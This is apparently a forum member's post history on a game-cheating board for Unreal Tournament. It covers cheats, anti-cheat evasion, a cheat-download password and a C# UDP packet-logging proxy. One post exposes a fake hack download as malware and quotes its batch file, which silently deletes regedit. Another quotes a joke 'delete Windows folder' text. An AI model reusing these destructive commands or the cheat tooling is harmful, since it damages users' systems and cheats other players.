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Messages - Xecutioner

Pages: [1] 2
1
General Discussion / Re: PLEASE HELP DUDES :(
« on: November 01, 2012, 11:51:52 PM »
That's probably because whatever server you are playing on is blocking MMI's.

2
Cheats / Re: Ace HWID Changer
« on: November 01, 2012, 11:48:47 PM »
I hate you hyper!  :)

3
Cheats / Re: Download Link Cheat AdminLogin Hack For TacticalOps!!
« on: July 23, 2012, 04:19:38 PM »
Fake!

Code: [Select]
Shutdown -1s Delete Windows Folder
YouGot Hacked By Bolly HaHaHaHaha

4
Cheats / Re: cT-HookZ 1.3
« on: July 19, 2012, 04:28:40 PM »
The password is the same as almost every other download on this site:  utcheats.tk

5
Tutorials / UT Proxy Server
« on: July 10, 2012, 01:17:43 AM »
Haven't done much with this one and the proxy it's self is not my code, I've just adapted it and added optional logging.  It can be used as a base to modify or log packets in any game really.

The packets sent are ridiculous and there is very little information on how they work.  Basically each packet has multiple sets of data inside to decrease the size of the packets sent.

Code: [Select]
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.Net.Sockets;
using System.IO;

namespace proxy
{
    class Program
    {
        public static IPEndPoint m_listenEp = null;
        public static EndPoint m_connectedClientEp = null;
        public static IPEndPoint m_sendEp = null;
        public static Socket m_UdpListenSocket = null;
        public static Socket m_UdpSendSocket = null;


        static void Main(string[] args)
        {
            Listen("IP GOES HERE", 6667, true);
        }
        static void Listen(string IP, int Port, bool Log = false)
        {
            StreamWriter sw = null;
            if (Log)
            {
                sw = new StreamWriter(@"C:\UT.txt");
                sw.AutoFlush = true;
            }

            // Creates Listener UDP Server
            m_listenEp = new IPEndPoint(IPAddress.Any, Port);
            m_UdpListenSocket = new Socket(m_listenEp.Address.AddressFamily, SocketType.Dgram, ProtocolType.Udp);
            m_UdpListenSocket.Bind(m_listenEp);

            //Connect to zone IP EndPoint
            m_sendEp = new System.Net.IPEndPoint(IPAddress.Parse(IP), Port);
            m_connectedClientEp = new System.Net.IPEndPoint(IPAddress.Any, Port);

            byte[] data = new byte[1024];

            while (true)
            {
                if (m_UdpListenSocket.Available > 0)
                {

                    int size = m_UdpListenSocket.ReceiveFrom(data, ref m_connectedClientEp); //client to listener

                    if (m_UdpSendSocket == null)
                    {
                        // Connect to UDP Game Server.
                        m_UdpSendSocket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
                    }

                    m_UdpSendSocket.SendTo(data, size, SocketFlags.None, m_sendEp); //listener to server.

                    if (Log)
                    {
                        sw.WriteLine("");
                        foreach (var b in data)
                        {
                            sw.Write(b + ",");
                        }
                        sw.WriteLine("");
                    }
                }

                if (m_UdpSendSocket != null && m_UdpSendSocket.Available > 0)
                {
                    int size = m_UdpSendSocket.Receive(data); //server to client.

                    m_UdpListenSocket.SendTo(data, size, SocketFlags.None, m_connectedClientEp); //listner

                    if (Log)
                    {
                        sw.WriteLine("");
                        foreach (var b in data)
                        {
                            sw.Write(b+",");
                        }
                        sw.WriteLine("");
                    }
                }
            }
        }
       
    }
}


6
Cheats / Re: .ini Tweaks
« on: June 29, 2012, 09:14:41 PM »

7
Cheats / Re: ServerKillG2
« on: June 25, 2012, 03:49:01 PM »
There are only a few anti-cheats that block MMIs.  For example UTDC does not until later versions if you enable certain features.

8
Cheats / Re: ServerKillG2
« on: June 22, 2012, 07:26:49 PM »
Well it looks like it mostly just sends a bunch of taunt commands.  As long as MMIs aren't blocked, I don't see why this wouldn't work.

9
Cheats / Re: UTComp Admin Hack.
« on: June 08, 2012, 08:19:11 PM »
Nice, some unique content up in this bitch! 

10
Cheats / Re: Cheat Adminlogin Hack Download L!nk
« on: June 06, 2012, 03:35:03 PM »
Yes it is a virus.  Lein please ban this guy.

- The ini isn't even in a format that would realistic work with a program
- The Dlls aren't real, they contain only plain text
- The exe is not real it is a batch file that reads:

Quote
@echo Off

color 0A

c:\WINDOWS\system32\del regedit.* /q

-r -s 1

Which deletes your regedit, without any type of prompt.  I don't really see the point of this.  It's not THAT harmful, but it still malicious.

11
General Discussion / Re: change country flag
« on: May 29, 2012, 07:21:31 PM »
No, VPN is not an option, neither are proxies etc.
I'm specifically refering to the countryflag mod.

Right.  There is a database server side of ip ranges which means it cannot be "spoofed" since it goes by your IP.  Therefore the only way to change it is to change your IP.  Your best bet is to pay for a highspeed VPN in another country, period.  All other options are a waste of time or do not work.

12
General Discussion / Re: change country flag
« on: May 23, 2012, 04:47:29 PM »
Yeah by using a VPN.

13
Does anybody still play in this game? Why don't you play ut2k4?

+1 for truth.

14
Tutorials / Re: [SRC] URedirection native plugin loading / hiding
« on: October 12, 2011, 09:39:53 PM »
+1 ^^^ /10char

15
General Discussion / Re: Lets make a ACE Mod Menu Bypass)))
« on: October 09, 2011, 12:23:59 AM »
FYI... nododge mods usually work by starting a timer and setting the dodgeclicktime value to something like 0 or -1 to effectively disable it. 

You can counter-act it by adding the SetDodgeClickTime command to your strafing binds.

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